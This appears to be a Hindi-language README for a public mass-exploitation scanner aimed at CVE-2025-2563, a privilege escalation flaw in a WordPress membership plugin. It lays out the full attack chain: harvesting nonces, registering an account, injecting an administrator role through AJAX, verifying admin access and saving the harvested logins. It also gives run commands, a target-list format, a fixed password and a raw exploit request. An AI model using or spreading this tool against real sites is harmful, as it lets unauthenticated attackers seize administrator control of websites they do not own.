
User Registration & Membership WordPress plugin 4.1.2 से पहले के संस्करण में उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है जब Membership Addon सक्षम होता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अनप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।
वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-2563 |
| गंभीरता | उच्च — CVSS v3.1 स्कोर: 8.1 |
| वेक्टर | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| प्रभावित सॉफ्टवेयर | वर्डप्रेस के लिए User Registration & Membership प्लगइन |
| प्रभावित संस्करण | 4.1.2 से पहले के सभी संस्करण |
| भेद्यता प्रकार | अनुचित विशेषाधिकार प्रबंधन — अप्रमाणित व्यवस्थापक खाता निर्माण |
| आवश्यक प्रमाणीकरण | कोई नहीं |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
विवरण:
वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो सर्वर-साइड भूमिका प्रतिबंधों को लागू करने में विफल रहता है। सदस्यता पंजीकरण प्रक्रिया के दौरान, प्लगइन user_registration_membership_register_member AJAX एक्शन में उपयोगकर्ता द्वारा प्रदान किए गए role फ़ील्ड को बिना सर्वर-साइड अनुमत सूची के विरुद्ध मान्य किए स्वीकार करता है। एक पूरी तरह से अप्रमाणित दूरस्थ हमलावर एक क्राफ्टेड दो-चरणीय AJAX श्रृंखला प्रस्तुत कर सकता है — पहले user_registration_user_form_submit के माध्यम से एक नया उपयोगकर्ता खाता पंजीकृत करना, फिर सदस्यता कॉल के members_data पेलोड में "role": "administrator" इंजेक्ट करना — ताकि चुपचाप पूरी तरह से विशेषाधिकार प्राप्त वर्डप्रेस व्यवस्थापक खाता बनाया जा सके। इसके परिणामस्वरूप बिना किसी प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन के पूर्ण साइट से समझौता होता है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) बड़े पैमाने पर शोषण स्कैनर है, जो Membership Addon सक्रिय के साथ User Registration & Membership प्लगइन के एक कमजोर संस्करण को चलाने वाले वर्डप्रेस इंस्टॉलेशन को लक्षित करता है। यह उपकरण स्वचालित खोज, नॉन्स हार्वेस्टिंग, कॉम्बो-आधारित पंजीकरण, भूमिका इंजेक्शन और व्यवस्थापक सत्यापन के साथ बुद्धिमान बहु-चरणीय शोषण करता है।
[चरण 1 — खोज]
GET /membership-pricing/ → membership_id, मूल्य निर्धारण लिंक निकालें
GET /membership-registration/ → form_id, नॉन्स, सुरक्षा टोकन निकालें
GET /registration/ → फ़ॉलबैक पंजीकरण पृष्ठ
↓
[चरण 2 — नॉन्स निष्कर्षण]
पार्स करें: ur_membership_frontend_localized_data._nonce
पार्स करें: ur_frontend_form_nonce, security, form_id, membership_id
↓
[चरण 3 — पंजीकरण (कॉम्बो हमला)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<टोकन> | ur_frontend_form_nonce=<नॉन्स>
→ success=true होने तक सभी मान्य कॉम्बो आज़माएं
↓
[चरण 4 — भूमिका इंजेक्शन (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ सर्वर नवनिर्मित उपयोगकर्ता को व्यवस्थापक भूमिका प्रदान करता है
↓
[चरण 5 — व्यवस्थापक सत्यापन]
POST /wp-login.php → नए क्रेडेंशियल से लॉगिन करें
GET /wp-admin/ → adminmenu / wp-admin-bar जांचें
GET /wp-admin/users.php → manage_options एक्सेस की पुष्टि करें
GET /wp-admin/plugin-install.php → plugin-install एक्सेस की पुष्टि करें
↓
[Nx_admin.txt में सहेजें]
प्रारूप: [टाइमस्टैम्प] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
या आवश्यकताओं की फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# रिपॉजिटरी क्लोन करें
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# उपकरण चलाएं
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
उपकरण Rich द्वारा संचालित पूरी तरह से इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है।
एक सादा पाठ फ़ाइल बनाएं (डिफ़ॉल्ट: list.txt) — प्रति पंक्ति एक लक्ष्य:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://याhttps://के बिना लक्ष्यों को स्वचालित रूप सेhttps://उपसर्ग दिया जाता है।
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
सभी पंजीकरण प्रयासों के लिए पासवर्ड आंतरिक रूप से
Nx_adminSAनिर्धारित है।
उपकरण प्रति लक्ष्य स्वचालित रूप से तीन पृष्ठों की जांच करता है:
| पृष्ठ | उद्देश्य |
|---|---|
/membership-pricing/ | membership_id और पंजीकरण लिंक निकालें |
/membership-registration/ | फ़ॉर्म टोकन, नॉन्स और फ़ील्ड आईडी निकालें |
/membership-registration/?membership_id=<id> | योजना-विशिष्ट फ़ॉर्म निष्कर्षण |
/registration/ | फ़ॉलबैक सामान्य पंजीकरण पृष्ठ |
निम्नलिखित टोकन कच्चे HTML और इनलाइन JavaScript से निकाले जाते हैं:
| टोकन | स्रोत |
|---|---|
_nonce | ur_membership_frontend_localized_data JS ऑब्जेक्ट |
ur_frontend_form_nonce | छिपा इनपुट फ़ील्ड या JS ऑब्जेक्ट |
security | user_registration_params.user_registration_form_data_save |
form_id | छिपा इनपुट ur-user-form-id या JS ऑब्जेक्ट |
membership_id | रेडियो इनपुट urm_membership या URL क्वेरी स्ट्रिंग |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
उपकरण स्वचालित रूप से security, frontend_nonce, form_id, और membership_id के सभी खोजे गए संयोजनों पर तब तक पुनरावृत्ति करता है जब तक success: true प्रतिक्रिया प्राप्त नहीं हो जाती।